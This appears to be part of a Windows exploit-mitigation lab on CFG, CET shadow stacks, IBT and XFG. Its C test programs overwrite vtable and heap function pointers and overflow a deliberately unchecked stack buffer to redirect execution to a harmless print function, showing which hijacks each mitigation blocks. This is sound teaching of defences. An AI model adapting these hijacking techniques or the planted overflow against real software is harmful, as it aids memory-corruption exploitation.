// -> CFG BLOCKS this with __fastfail -> exit code 0x80000003
//
// This proves CFG only checks "is target a valid function entry?"
// — NOT "should this virtual call dispatch to that function?"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
class Shape {
public:
virtual void draw() { printf("[*] Drawing Shape\n"); }
virtual ~Shape() {}
};
class Circle : public Shape {
public:
void draw() override { printf("[*] Drawing Circle\n"); }
};
void malicious_code() {
printf("[!] PWNED: Malicious code executed!\n");
printf("[!] This proves CFG is coarse-grained — malicious_code\n");
printf(" is a valid function entry, so CFG allowed the call.\n");
fflush(stdout);
}
int main(int argc, char **argv) {
int test_mode = 1; // Default: test 1 (valid function redirect)
if (argc > 1) test_mode = atoi(argv[1]);
Shape* shape = new Circle();
printf("[*] Shape object at: %p\n", shape);
printf("[*] Original VTable pointer: %p\n", *(void**)shape);
fflush(stdout);
if (test_mode == 1) {
// TEST 1: Redirect to a valid function entry
// CFG bitmap has malicious_code marked as valid -> call ALLOWED
printf("\n[*] TEST 1: Redirect vtable to malicious_code (valid entry)\n");
void* fake_vtable[] = { (void*)&malicious_code, NULL };
printf("[*] Fake vtable at %p -> malicious_code at %p\n",
fake_vtable, (void*)&malicious_code);
*(void**)shape = fake_vtable;
printf("[*] Calling shape->draw()...\n");
fflush(stdout);
shape->draw(); // CFG ALLOWS — malicious_code is a valid function!
printf("[+] Call succeeded (CFG allowed it)\n");
}
else if (test_mode == 2) {
// TEST 2: Redirect to arbitrary address (NOT a valid function)
// 0xDEADDEAD is not in CFG bitmap -> call BLOCKED
printf("\n[*] TEST 2: Redirect vtable to 0xDEADDEAD (invalid)\n");
void* bad_vtable[] = { (void*)0xDEADDEAD, NULL };
*(void**)shape = bad_vtable;
printf("[*] Calling shape->draw()...\n");
fflush(stdout);
shape->draw(); // CFG BLOCKS — 0xDEADDEAD not in bitmap!
printf("[-] Should not reach here\n");
}
delete shape;
return 0;
}
Compile & Run:
# Save to C:\Windows_Mitigations_Lab\src\vtable_cfg_test.cpp
cd C:\Windows_Mitigations_Lab
# 1. Without CFG — both tests "work" (no validation)
cl /EHsc /Zi src\vtable_cfg_test.cpp /Fe:bin\vtable_no_cfg.exe /link /DEBUG
.\bin\vtable_no_cfg.exe 1
# [!] PWNED: Malicious code executed!
.\bin\vtable_no_cfg.exe 2
# (Process crashes - Access violation at 0xDEADDEAD)
# 2. With CFG — Test 1 STILL works! Test 2 is blocked.
cl /EHsc /Zi /guard:cf src\vtable_cfg_test.cpp /Fe:bin\vtable_cfg.exe /link /guard:cf /DEBUG
.\bin\vtable_cfg.exe 1
# [!] PWNED: Malicious code executed!
# [!] This proves CFG is coarse-grained — malicious_code
.\bin\vtable_cfg.exe 2
# (Process killed by __fastfail - Exit code: 0x80000003 via int 0x29)
# CFG blocks it — 0xDEADDEAD is NOT in the CFG bitmap
[!WARNING] CFG does NOT prevent vtable-to-valid-function redirects!
malicious_codeis a legitimate function entry point in the binary, so CFG allows the call. This is the same coarse-grained limitation proven in Day 2 Technique 3: CFG checks "is target ANY valid function?" — not "should THIS vtable dispatch THAT function." Only XFG (type-hash validation) or Clang's-fsanitize=cfiwould block this.
Verifying CFG Instrumentation at Call Sites:
# Example with CFG-enabled binary (vtable_cfg.exe):
dumpbin /headers /loadconfig bin\vtable_cfg.exe | findstr -i "guard"
# 00000001400B8000 Guard CF address of check-function pointer
# 00000001400B8020 Guard CF address of dispatch-function pointer
# 00000001400B7000 Guard CF function table
# 6D Guard CF function count ← 109 functions protected
# 10014500 Guard Flags ← CF Instrumented (bit 0x10000000)
# 00000001400B8010 Guard XFG address of check-function pointer
# Example without CFG (vtable_no_cfg.exe):
dumpbin /headers /loadconfig bin\vtable_no_cfg.exe | findstr -i "guard"
# 00000001400A6000 Guard CF address of check-function pointer
# 00000001400A6020 Guard CF address of dispatch-function pointer
# 0000000000000000 Guard CF function table ← No table (null)
# 0 Guard CF function count ← Zero functions protected
# 00000100 Guard Flags ← NOT instrumented (no 0x10000000)
# Key differences:
# CFG Enabled: Guard CF function count > 0, Guard Flags has 0x10000000 bit set
# CFG Disabled: Guard CF function count = 0, Guard Flags = 0x100 (reserved bits only)
Exercise: CFG Heap Function Pointer Overwrite — Coarse vs Fine Grained:
// cfg_heap_test.c
// Demonstrates the coarse-grained nature of CFG with heap function pointers.
//
// Test 1 (mode 1): Overwrite with malicious_code (valid function entry)
// -> CFG ALLOWS because malicious_code is in the CFG bitmap
// Test 2 (mode 2): Overwrite with arbitrary address (not a function entry)
// -> CFG BLOCKS with __fastfail -> exit code 0x80000003
//
// Lesson: CFG prevents shellcode/ROP via indirect calls, but does NOT
// prevent redirecting to valid-but-dangerous functions.
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
typedef void (*Callback)(void);
void legitimate_callback() {
printf("[*] Legitimate callback called\n");
}
void malicious_code() {
printf("[!] MALICIOUS CODE EXECUTED!\n");
printf("[!] CFG allowed this — malicious_code is a valid function entry.\n");
fflush(stdout);
}
int main(int argc, char **argv) {
int mode = 1; // 1 = valid function, 2 = invalid address
if (argc > 1) mode = atoi(argv[1]);
Callback* cb_table = (Callback*)HeapAlloc(GetProcessHeap(), 0, sizeof(Callback) * 4);
cb_table[0] = legitimate_callback;
cb_table[1] = legitimate_callback;
cb_table[2] = legitimate_callback;
printf("[*] Callback table at: %p\n", cb_table);
printf("[*] Original cb_table[2]: %p (legitimate_callback)\n",
(void*)cb_table[2]);
fflush(stdout);
if (mode == 1) {
printf("[*] Mode 1: Overwriting cb_table[2] with malicious_code (valid entry)\n");
cb_table[2] = malicious_code;
} else {
printf("[*] Mode 2: Overwriting cb_table[2] with 0xDEADDEAD (invalid)\n");
cb_table[2] = (Callback)0xDEADDEAD;
}
printf("[*] cb_table[2] now: %p\n", (void*)cb_table[2]);
printf("[*] Calling through corrupted pointer...\n");
fflush(stdout);
cb_table[2](); // CFG check happens here
printf("[*] Call returned.\n");
HeapFree(GetProcessHeap(), 0, cb_table);
return 0;
}
Compile & Run:
# Save to C:\Windows_Mitigations_Lab\src\cfg_heap_test.c
cd C:\Windows_Mitigations_Lab
# Compile WITH CFG
cl /Zi /guard:cf src\cfg_heap_test.c /Fe:bin\cfg_heap_test.exe /link /guard:cf /DEBUG
# Test 1: Redirect to valid function -> CFG ALLOWS
.\bin\cfg_heap_test.exe 1
# [*] Callback table at: 0000017CCDFDE660
# [*] Original cb_table[2]: 00007FF656727AA0 (legitimate_callback)
# [*] Mode 1: Overwriting cb_table[2] with malicious_code (valid entry)
# [*] cb_table[2] now: 00007FF656725140
# [*] Calling through corrupted pointer...
# [!] MALICIOUS CODE EXECUTED!
# [!] CFG allowed this — malicious_code is a valid function entry.
# [*] Call returned.
# Exit code: 0x0
# Test 2: Redirect to invalid address -> CFG BLOCKS
.\bin\cfg_heap_test.exe 2
# [*] Callback table at: 00000290182719C0
# [*] Original cb_table[2]: 00007FF656727AA0 (legitimate_callback)
# [*] Mode 2: Overwriting cb_table[2] with 0xDEADDEAD (invalid)
# [*] cb_table[2] now: 00000000DEADDEAD
# [*] Calling through corrupted pointer...
# (Process terminated by __fastfail - Exit code: 0x80000003)
# Compile WITHOUT CFG for comparison
cl /Zi src\cfg_heap_test.c /Fe:bin\cfg_heap_test_nocfg.exe /link /DEBUG
.\bin\cfg_heap_test_nocfg.exe 1
# [*] Callback table at: 0000022F1BF8E580
# [*] Original cb_table[2]: 00007FF7847B3152 (legitimate_callback)
# [*] Mode 1: Overwriting cb_table[2] with malicious_code (valid entry)
# [*] cb_table[2] now: 00007FF7847B2464
# [*] Calling through corrupted pointer...
# [!] MALICIOUS CODE EXECUTED!
# [!] CFG allowed this — malicious_code is a valid function entry.
# [*] Call returned.
.\bin\cfg_heap_test_nocfg.exe 2
# [*] Callback table at: 000002AFCF2F0D60
# [*] Original cb_table[2]: 00007FF7847B3152 (legitimate_callback)
# [*] Mode 2: Overwriting cb_table[2] with 0xDEADDEAD (invalid)
# [*] cb_table[2] now: 00000000DEADDEAD
# [*] Calling through corrupted pointer...
# (Access violation crash - no CFG protection)
CFG Bitmap:
Valid CFG Targets:
__declspec(guard(suppress)) are explicitly NOT valid targets.CFG Check Assembly (x64):
; Before indirect call
mov rax, [function_pointer]
call [__guard_check_icall_fptr] ; Validation
call rax ; Actual call (if valid)
; __guard_check_icall_fptr:
; - Checks if target is in CFG bitmap
; - Returns if valid, terminates if invalid
CFG Bitmap Architecture:
CFG Bitmap Memory Layout:
-------------------------
The CFG bitmap is a large array where each BIT represents whether
a 16-byte aligned address is a valid indirect call target.
> Note: With XFG enabled, the bitmap uses 2 bits per entry instead of 1,
> encoding both validity and type-hash metadata.
Address Space (User Mode): CFG Bitmap:
┌────────────────────────┐ ┌──────────────┐
│ 0x00000000`00000000 │--->│ Bit 0 │
│ 0x00000000`00000010 │--->│ Bit 1 │
│ 0x00000000`00000020 │--->│ Bit 2 │
│ ... │ │ ... │
│ 0x00007FFF`FFFFFFFF │--->│ Bit N │
└────────────────────────┘ └──────────────┘
Bitmap Size Calculation (x64 user mode):
- User address space: ~128TB (0x7FFFFFFFFFFF)
- Granularity: 16 bytes per bit
- Bits needed: 128TB / 16 = 8TB bits = 1TB bytes
- Actual: Sparse, on-demand allocation
Bitmap Lookup Algorithm:
bit_index = target_address >> 4 (divide by 16)
byte_index = bit_index >> 3 (divide by 8)
bit_offset = bit_index & 7 (mod 8)
is_valid = (bitmap[byte_index] >> bit_offset) & 1
CFG Dispatch Function Internals:
// Simplified __guard_check_icall_fptr implementation
// NOTE: This is a conceptual simplification. The actual bitmap pointer
// comes from ntdll internals, not directly from PEB.
void __fastcall __guard_check_icall_fptr(void *target) {
// Get bitmap base (simplified — actual source is ntdll internal)
ULONG_PTR bitmap_base = NtCurrentPeb()->CfgBitMap;
// Calculate bit position
ULONG_PTR bit_index = (ULONG_PTR)target >> 4;
ULONG_PTR byte_index = bit_index >> 3;
ULONG bit_offset = bit_index & 7;
// Check if valid
BYTE bitmap_byte = *(BYTE*)(bitmap_base + byte_index);
if (!((bitmap_byte >> bit_offset) & 1)) {
// Invalid target - terminate
__fastfail(FAST_FAIL_GUARD_ICALL_CHECK_FAILURE);
// Process dies immediately, no exception handling
}
// Valid - return and allow call
}
CFG Failure Codes:
# When CFG blocks a call, it uses __fastfail()
# __fastfail executes: int 0x29 (traps directly to kernel)
# Kernel kills the process immediately — no user-mode handler runs
# Process exit code: 0x80000003 (STATUS_BREAKPOINT)
# This is the ACTUAL exit code you see from GetExitCodeProcess()
# NOTE: NOT 0xC0000409 — that's the old-style /GS cookie failure.
# __fastfail via int 0x29 produces STATUS_BREAKPOINT.
# Fast Fail Codes passed via ECX to int 0x29 (winnt.h):
FAST_FAIL_GUARD_ICALL_CHECK_FAILURE = 10 # CFG indirect call check failed
FAST_FAIL_GUARD_WRITE_CHECK_FAILURE = 11 # CFG write check (rare)
FAST_FAIL_GUARD_JUMP_CHECK_FAILURE = 12 # CFG jump check
FAST_FAIL_GUARD_SS_FAILURE = 37 # CET shadow stack mismatch
# In WinDbg after CFG kill:
!analyze -v
# FAILURE_BUCKET_ID: FAIL_FAST_GUARD_ICALL_CHECK_FAILURE
# Look for: SubCode = 10 (0xA) in the exception parameters
# Exception record:
.exr -1
# ExceptionCode: 0xC0000409 (STATUS_STACK_BUFFER_OVERRUN)
# ExceptionInformation[0]: fast fail code (10 = CFG, 37 = CET)
# BUT the PROCESS EXIT CODE is 0x80000003 (STATUS_BREAKPOINT)
# This distinction matters when checking exit codes in exploits!
# Verifying from command line:
echo %errorlevel%
# Or in Python: p.returncode & 0xFFFFFFFF == 0x80000003
Populating the CFG Bitmap:
When is a bit SET in the CFG bitmap?
At Image Load Time:
1. Loader reads Guard CF Function Table from PE
- This table is created by the linker.
- It includes all address-taken functions *except* those marked with `__declspec(guard(suppress))`.
2. For each address in table:
- Calculate bit position
- Set bit in bitmap
3. Export table entries also marked valid
4. DLL entry points marked valid
PE Header Fields:
- GuardCFCheckFunctionPointer
- GuardCFDispatchFunctionPointer
- GuardCFFunctionTable (array of valid targets)
- GuardCFFunctionCount
- GuardFlags
Viewing in PE:
dumpbin /loadconfig myapp.exe
# Look for:
# Guard CF address of check-function pointer
# Guard CF function table
# Guard CF function count
Compiler Instrumentation:
// What the compiler does with /guard:cf
// Original code:
void (*callback)(int);
callback = get_function_pointer();
callback(42);
// Compiled with CFG:
void (*callback)(int);
callback = get_function_pointer();
// Compiler inserts:
__guard_check_icall_fptr(callback); // <-- Added
callback(42);
// In assembly (x64):
mov rax, [rbp+callback]
mov rcx, rax ; target in rcx
call [__guard_check_icall_fptr] ; validate
call rax ; call if valid
CFG Export Suppression:
// Some functions should NOT be valid CFG targets
// Use __declspec(guard(suppress))
__declspec(guard(suppress))
void internal_gadget_like_function() {
// This function won't be in CFG bitmap
// Attackers can't call it via indirect call
}
// Useful for functions that look like ROP gadgets
// or have dangerous functionality
Testing CFG — Valid vs Invalid Targets:
// cfg_test.c
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
// Valid CFG Target 1
void legitimate_function() {
printf("[*] Legitimate function called\n");
fflush(stdout);
}
// Valid CFG Target 2
void another_function() {
printf("[*] Another function called\n");
fflush(stdout);
}
// Invalid CFG Target (Suppressed)
// This function exists and is executable, but we tell the compiler
// NOT to add it to the CFG valid target bitmap.
__declspec(guard(suppress))
void suppressed_function() {
printf("[!] EXPLOIT SUCCESS: Suppressed function executed!\n");
printf("[!] This should ONLY happen if CFG is disabled.\n");
fflush(stdout);
}
int main(int argc, char **argv) {
void (*func_ptr)();
// Test 1: Call valid function
printf("[*] Test 1: Calling legitimate_function (valid)\n");
fflush(stdout);
func_ptr = legitimate_function;
func_ptr();
// Test 2: Redirect to another valid function
// CFG Limitation: It validates "is this A start of A function",
// not "is this the INTENDED function".
printf("[*] Test 2: Redirecting to another_function (valid)\n");
fflush(stdout);
func_ptr = another_function;
func_ptr();
// Test 3: Call suppressed function
// - Memory: Valid (it's a real function)
// - CFG Bitmap: Invalid (suppressed)
// This distinguishes CFG protection from generic Access Violations.
printf("[*] Test 3: Calling suppressed_function (invalid CFG target)\n");
fflush(stdout);
// Use volatile to prevent the compiler from optimizing away the indirect call
void (* volatile vfunc_ptr)() = suppressed_function;
vfunc_ptr(); // With CFG: Terminate (__fastfail). Without CFG: Execute.
printf("[-] Should not reach here if CFG is working\n");
return 0;
}
Compile & Run:
# With CFG
cl /Zi /guard:cf src\cfg_test.c /Fe:bin\cfg_test.exe /link /guard:cf /DEBUG
.\bin\cfg_test.exe
#[*] Test 1: Calling legitimate_function (valid)
#[*] Legitimate function called
#[*] Test 2: Redirecting to another_function (valid)
#[*] Another function called
#[*] Test 3: Calling suppressed_function (invalid CFG target)
# Without CFG
cl /Zi src\cfg_test.c /Fe:bin\cfg_test_nocfg.exe /link /DEBUG
.\bin\cfg_test_nocfg.exe
#[*] Test 1: Calling legitimate_function (valid)
#[*] Legitimate function called
#[*] Test 2: Redirecting to another_function (valid)
#[*] Another function called
#[*] Test 3: Calling suppressed_function (invalid CFG target)
#[!] EXPLOIT SUCCESS: Suppressed function executed!
#[!] This should ONLY happen if CFG is disabled.
#[-] Should not reach here if CFG is working
What is CET?:
/CETCOMPAT flag (CETCOMPAT bit in PE header)Get-ProcessMitigation -Name <process> (Warning: Shows policy, not hardware enforcement)Shadow Stack:
Regular Stack: Shadow Stack (Hardware):
┌────────────┐ ┌────────────┐
│ Local vars │ │ │
├────────────┤ ├────────────┤
│ Saved RBP │ │ Return addr│ <- Copy of return address
├────────────┤ └────────────┘
│ Return addr│ <- User-accessible Hardware-protected
└────────────┘
On function call:
- Regular return address pushed to stack
- ALSO pushed to shadow stack (by CPU)
On function return:
- Pop return address from regular stack
- Pop from shadow stack
- Compare both
- If mismatch -> terminate
Benefits:
Shadow Stack in Action:
// ROP attempt
void vulnerable(char *input) {
char buffer[64];
strcpy(buffer, input); // Overflow
}
// Without CET:
// Overflow overwrites return address
// ROP chain executes
// With CET:
// Overflow overwrites stack return address
// But shadow stack still has original
// On return: mismatch detected -> crash
Indirect Branch Tracking (IBT):
; Valid indirect jump target must have ENDBR instruction
; Without IBT:
jmp rax ; Jumps anywhere
; With IBT:
jmp rax ; Target MUST start with ENDBR64/ENDBR32
; Valid target:
target_function:
endbr64 ; Required for indirect jumps
push rbp
mov rbp, rsp
...
; Invalid target:
bad_gadget:
pop rdi ; No ENDBR = crash if targeted
ret
Testing CET:
# Check if CPU supports CET
Get-CimInstance Win32_Processor | Select-Object Name
# Check if process has CET
Get-ProcessMitigation -Name bin\cet_shadow.exe | findstr "UserShadowStack"
Lab: Shadow Stack Protection vs Return Address Overwrite
This lab demonstrates CET shadow stack protection by compiling a vulnerable program with and without CET support, then attempting to overwrite the return address.
Create src\cet_shadow_test.c:
// cet_shadow_test.c
// Demonstrates CET Shadow Stack protection against return address overwrites.
//
// Without CET: Buffer overflow overwrites return address, executes malicious_function
// With CET: Buffer overflow overwrites stack return, but shadow stack has original
// -> Mismatch detected on RET -> #CP exception -> process killed
//
// Compile WITHOUT CET: cl /Zi /GS- src\cet_shadow_test.c /Fe:bin\cet_no_shadow.exe /link /DEBUG
// Compile WITH CET: cl /Zi /GS- /guard:cf /cetcompat src\cet_shadow_test.c /Fe:bin\cet_shadow.exe /link /guard:cf /CETCOMPAT /DEBUG
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
// Malicious function - target for redirection
void malicious_function() {
// Use puts() instead of printf() to be safer against stack misalignment
// printf uses vector instructions (movaps) which crash if RSP isn't 16-byte aligned
puts("");
puts("PWNED: malicious_function executed!");
puts("Return address was successfully overwritten");
puts("This proves CET shadow stack is NOT enabled");
puts("");
// Exit cleanly to avoid crashing on return (since stack is trashed)
ExitProcess(0);
}
void legitimate_function() {
printf("[*] This is the legitimate function (should never print in exploit)\n");
}
void vulnerable_function(char *input, size_t input_len) {
char buffer[64];
printf("[*] Buffer at: %p\n", buffer);
printf("[*] Input length: %zu bytes\n", input_len);
printf("[*] Calling memcpy (vulnerable)...\n");
fflush(stdout);
// VULNERABILITY: No bounds checking!
memcpy(buffer, input, input_len);
printf("[+] memcpy completed\n");
printf("[*] Returning from vulnerable_function...\n");
fflush(stdout);
// On return:
// - Without CET: Uses overwritten return address from stack
// - With CET: Compares stack return vs shadow stack return
// If mismatch -> #CP exception -> __fastfail
}
void print_addresses() {
printf("\n[*] Function Addresses:\n");
printf(" legitimate_function = %p\n", (void*)legitimate_function);
printf(" malicious_function = %p\n", (void*)malicious_function);
printf(" vulnerable_function = %p\n\n", (void*)vulnerable_function);
fflush(stdout);
}
int main(int argc, char **argv) {
// Disable buffering to ensure we see output before any crash
setbuf(stdout, NULL);
printf("CET Shadow Stack Protection Test\n");
printf("--------------------------------\n\n");
print_addresses();
if (argc < 2) {
printf("Usage: %s <mode>\n", argv[0]);
printf(" mode:\n");
printf(" 0 - No overflow (normal execution)\n");
printf(" 1 - Overwrite return address (trigger exploit)\n");
return 1;
}
// Check mode
int mode = 0;
if (argc > 1) {
mode = atoi(argv[1]);
}
if (mode == 0) {
printf("[*] Mode 0: Normal execution (no overflow)\n");
char safe_input[32] = "Hello, World!";
vulnerable_function(safe_input, strlen(safe_input));
printf("[+] Returned safely from vulnerable_function\n");
legitimate_function();
}
else {
printf("[*] Mode 1: Exploit mode - will attempt return address overwrite\n");
printf("[!] Expected: WITHOUT CET -> malicious_function executes\n");
printf("[!] Expected: WITH CET -> process killed by #CP exception\n\n");
// AGGRESSIVE SPRAY: Fill the entire payload with the target address.
// x64 stack frames can be large and variable. We'll fill enough to cover
// any reasonable buffer-to-return-address distance.
char payload[256];
ULONG_PTR target = (ULONG_PTR)malicious_function;
// Fill the WHOLE buffer with the address (repeated)
// This guarantees we hit the return address wherever it is
for (size_t i = 0; i < sizeof(payload); i += sizeof(target)) {
memcpy(&payload[i], &target, sizeof(target));
}
printf("[*] Crafted payload:\n");
printf(" Strategy: FULL SPRAY (offsets 0-256)\n");
printf(" Target: %p (malicious_function)\n", (void*)target);
printf(" Total payload: %zu bytes\n\n", sizeof(payload));
vulnerable_function(payload, sizeof(payload));
printf("[*] If you see this, CET shadow stack blocked the exploit!\n");
legitimate_function();
}
printf("\n[+] Program completed normally\n");
return 0;
}
Compile & Run:
cl /Zi /GS- src\cet_shadow_test.c /Fe:bin\cet_no_shadow.exe /link /DEBUG
.\bin\cet_no_shadow.exe 0
#[*] Mode 0: Normal execution (no overflow)
#[*] Buffer at: 000000893B77F9F0
#[*] Input length: 13 bytes
#[*] Calling memcpy (vulnerable)...
#[+] memcpy completed
#[*] Returning from vulnerable_function...
#[+] Returned safely from vulnerable_function
#[*] This is the legitimate function (should never print in exploit)
#[+] Program completed normally
.\bin\cet_no_shadow.exe 1
#[PWNED: malicious_function executed!]
#[Return address was successfully overwritten]
#[This proves CET shadow stack is NOT enabled]
cl /Zi /GS- /guard:cf /cetcompat src\cet_shadow_test.c /Fe:bin\cet_shadow.exe /link /guard:cf /CETCOMPAT /DEBUG
.\bin\cet_shadow.exe 1
#[*] Mode 1: Exploit mode - will attempt return address overwrite
#[!] Expected: WITHOUT CET -> malicious_function executes
#[!] Expected: WITH CET -> process killed by #CP exception
[!WARNING] Why did my CET test fail in a VM?
If you see "UserShadowStack: ON" but the exploit still works, your VM likely does not emulate the required hardware.
CET requires Intel 11th Gen+ / AMD Zen 3+ physical CPUs AND hypervisor support.
- VirtualBox: Does NOT support CET pass-through (as of v7.0).
- VMWare: Requires "Virtualize Intel VT-x/EPT" and specific config.
- Hyper-V: Requires Nested Virtualization enabled correctly.
Without actual hardware
SHSTKinstructions exposed to the guest OS, Windows silently falls back to software-only mode (which does nothing for ROP/buffer overflows), even if the policy says "ON".
Shadow Stack CPU Instructions:
; New instructions added by CET:
; INCSSP - Increment Shadow Stack Pointer
incssp rax ; Advance SSP by rax * 8 bytes
; Used to skip frames during unwinding
; RDSSP - Read Shadow Stack Pointer
rdssp rax ; Read current SSP into rax
; Allows software to inspect shadow stack
; SAVEPREVSSP - Save previous SSP
saveprevssp ; Saves SSP on shadow stack
; Used for stack switching
; RSTORSSP - Restore SSP
rstorssp [mem] ; Restore SSP from memory
; Used when switching back
; WRSS - Write to Shadow Stack
wrss [rsp], rax ; Write rax to shadow stack at rsp
; Requires special privileges
; CLRSSBSY - Clear shadow stack busy flag
clrssbsy [mem] ; Clear busy bit in shadow stack token
Shadow Stack Memory Region:
Shadow Stack Layout:
--------------------
Regular Stack: Shadow Stack:
High Address High Address (SSP starts here)
┌────────────────────┐ ┌────────────────────┐
│ Return addr (main) │ │ Return addr (main) │ ← Token
├────────────────────┤ ├────────────────────┤
│ Saved RBP │ │ Return addr (func1)│
├────────────────────┤ ├────────────────────┤
│ Local vars │ │ Return addr (func2)│
├────────────────────┤ ├────────────────────┤
│ Return addr (func1)│ │ ... │
├────────────────────┤ └────────────────────┘
│ ... │ ^
└────────────────────┘ SSP (Shadow Stack Pointer)
^
RSP
Key Differences:
- Shadow stack ONLY stores return addresses
- No local variables, no saved registers
- Hardware manages writes (software can only read)
- Separate memory region with special protections
CET Exception Handling:
When CET Detects Mismatch:
--------------------------
1. CALL instruction:
- CPU pushes return address to regular stack
- CPU pushes return address to shadow stack (automatically)
2. RET instruction:
- CPU pops return address from regular stack
- CPU pops return address from shadow stack
- CPU COMPARES both values
3. If mismatch:
- CPU raises #CP (Control Protection Exception)
- Exception code: STATUS_CONTROL_STACK_VIOLATION (0xC0000407)
- OS converts to __fastfail(FAST_FAIL_GUARD_SS_FAILURE = 37)
- __fastfail executes int 0x29 -> kernel kills process
- Process exit code: 0x80000003 (STATUS_BREAKPOINT)
- NOTE: The exception code (0xC0000407) and process exit code
(0x80000003) are DIFFERENT — same mechanism as CFG failures.
4. In WinDbg:
!analyze -v
# Shows CONTROL_PROTECTION_VIOLATION
# Parameters indicate specific CET violation type
# SubCode = 37 (0x25) = FAST_FAIL_GUARD_SS_FAILURE
.exr -1
# ExceptionCode: 0xC0000409 (STATUS_STACK_BUFFER_OVERRUN)
# ExceptionInformation[0]: 37 (shadow stack failure)
Indirect Branch Tracking (IBT) Detail:
; IBT requires ENDBR at valid branch targets
; Compiler generates:
my_callback:
endbr64 ; Must be first instruction!
push rbp
mov rbp, rsp
; ... function body ...
; On indirect branch:
call rax ; CPU sets TRACKER state to WAIT_FOR_ENDBR
; At target:
endbr64 ; Clears TRACKER state, execution continues
; If target lacks ENDBR:
; CPU raises #CP (Control Protection Exception)
; ENDBR64 encoding: F3 0F 1E FA
; Just a fancy NOP on older CPUs (backward compatible)
What is Kernel Shadow Stack?:
Requirements:
Checking Kernel Shadow Stack:
# Check if enabled
# Look for value 5 in the output (Kernel-mode Hardware-enforced Stack Protection)
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard |
Select-Object -ExpandProperty SecurityServicesRunning
# Output Reference:
# 0 = None (Disabled)
# 1 = Credential Guard
# 2 = Memory Integrity (HVCI)
# 5 = Kernel-mode Hardware-enforced Stack Protection (Shadow Stack)
# Via msinfo32
msinfo32.exe
# Look for: Kernel DMA Protection, Virtualization-based security
Impact on Kernel Exploitation:
What is XFG?:
XFG vs CFG Comparison:
| Feature | CFG | XFG |
|---|---|---|
| Validation | Address in bitmap | Address + type signature |
| Granularity | Function-level | Call-site specific |
| Bypass difficulty | Known bypasses | Significantly harder |
| Availability | Windows 8.1+ | Windows 11 (metadata generated; enforcement rolling out incrementally) |
How XFG Works:
// CFG check (simplified):
if (bitmap[target >> 4] & (1 << (target & 0xF))) {
call target; // Valid function address
}
// XFG check (simplified):
if (target_hash == expected_hash) {
call target; // Valid AND correct type signature
}
XFG Type Hashes:
How XFG Improves CFG:
// CFG only checks: is target a valid function?
// XFG also checks: does target match expected signature?
typedef void (*HandlerA)(int);
typedef void (*HandlerB)(char*);
void process(HandlerA handler) {
handler(42); // Expects (int) parameter
}
// Attack: Pass HandlerB with different signature
HandlerB wrong_handler = get_wrong_handler();
// CFG: Allows (both are valid functions)
// XFG: Blocks (signature mismatch!)
XFG Metadata:
Understanding XFG Behavior:
// xfg_concept.c — Type Confusion Demonstration (CFG vs XFG)
// Demonstrates that CFG allows type-confused calls between valid functions,
// while XFG (when enforced) would block them based on signature mismatch.
//
// Test modes:
// 1: Correct type call (always works)
// 2: Type-confused call (CFG allows, XFG would block)
// 3: Invalid address call (CFG blocks with __fastfail)
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
typedef void (*IntHandler)(int);
typedef void (*StrHandler)(char*);
typedef void (*NoArgHandler)(void);
void int_handler(int x) {
printf("[*] int_handler called with: %d\n", x);
fflush(stdout);
}
void str_handler(char *s) {
// Print pointer value (%p) instead of string (%s) to avoid Access Violation
// when called with an integer (e.g., 42) during type confusion test.
printf("[*] str_handler called with: %p\n", (void*)s);
fflush(stdout);
}
void noarg_handler(void) {
printf("[*] noarg_handler called (no arguments)\n");
fflush(stdout);
}
void call_int_handler(IntHandler handler, int value) {
printf("[*] Calling through IntHandler pointer...\n");
fflush(stdout);
handler(value);
}
int main(int argc, char **argv) {
int test_mode = 1;
if (argc > 1) test_mode = atoi(argv[1]);
printf("[*] XFG Type Confusion Test\n");
printf("[*] int_handler at: %p\n", (void*)int_handler);
printf("[*] str_handler at: %p\n", (void*)str_handler);
printf("[*] noarg_handler at: %p\n\n", (void*)noarg_handler);
fflush(stdout);
if (test_mode == 1) {
// TEST 1: Correct type — always works
printf("[*] TEST 1: Correct type (IntHandler -> int_handler)\n");
IntHandler correct = int_handler;
call_int_handler(correct, 42);
printf("[+] Call succeeded (correct signature)\n");
}
else if (test_mode == 2) {
// TEST 2: Type confusion — CFG allows, XFG would block
printf("[*] TEST 2: Type confusion (IntHandler -> str_handler)\n");
printf("[!] Casting StrHandler (char*) to IntHandler (int)\n");
printf("[!] CFG: Allows (both are valid function entries)\n");
printf("[!] XFG: Would block (signature mismatch)\n\n");
fflush(stdout);
IntHandler confused = (IntHandler)str_handler;
call_int_handler(confused, 42);
printf("[+] Call succeeded — CFG is coarse-grained!\n");
printf("[!] str_handler received garbage (42 instead of char*)\n");
}
else if (test_mode == 3) {
// TEST 3: Invalid address — CFG blocks
printf("[*] TEST 3: Invalid address (0xDEADBEEF)\n");
printf("[!] Not a valid function entry — CFG will block\n");
fflush(stdout);
IntHandler invalid = (IntHandler)0xDEADBEEF;
call_int_handler(invalid, 42);
printf("[-] Should not reach here\n");
}
fflush(stdout);
return 0;
}
Compile & Run:
cl /Zi /guard:cf src\xfg_concept.c /Fe:bin\xfg_concept.exe /link /guard:cf /DEBUG
.\bin\xfg_concept.exe 1
#[*] XFG Type Confusion Test
#[*] int_handler at: 00007FF64B8C1C50
#[*] str_handler at: 00007FF64B8C6670
#[*] noarg_handler at: 00007FF64B8C5FE0
#[*] TEST 1: Correct type (IntHandler -> int_handler)
#[*] Calling through IntHandler pointer...
#[*] int_handler called with: 42
#[+] Call succeeded (correct signature)
.\bin\xfg_concept.exe 2
#[*] XFG Type Confusion Test
#[*] int_handler at: 00007FF64B8C1C50
#[*] str_handler at: 00007FF64B8C6670
#[*] noarg_handler at: 00007FF64B8C5FE0
#[*] TEST 2: Type confusion (IntHandler -> str_handler)
#[!] Casting StrHandler (char*) to IntHandler (int)
#[!] CFG: Allows (both are valid function entries)
#[!] XFG: Would block (signature mismatch)
#[*] Calling through IntHandler pointer...
#[*] str_handler called with: 000000000000002A
#[+] Call succeeded — CFG is coarse-grained!
#[!] str_handler received garbage (42 instead of char*)
# =========================================================================
# NOTE: If XFG were strictly ENFORCED, the process would terminate silently
# before printing the "str_handler called with..." line above.
# The fact that it prints means XFG is in audit/permissive mode or unsupported.
# =========================================================================
.\bin\xfg_concept.exe 3
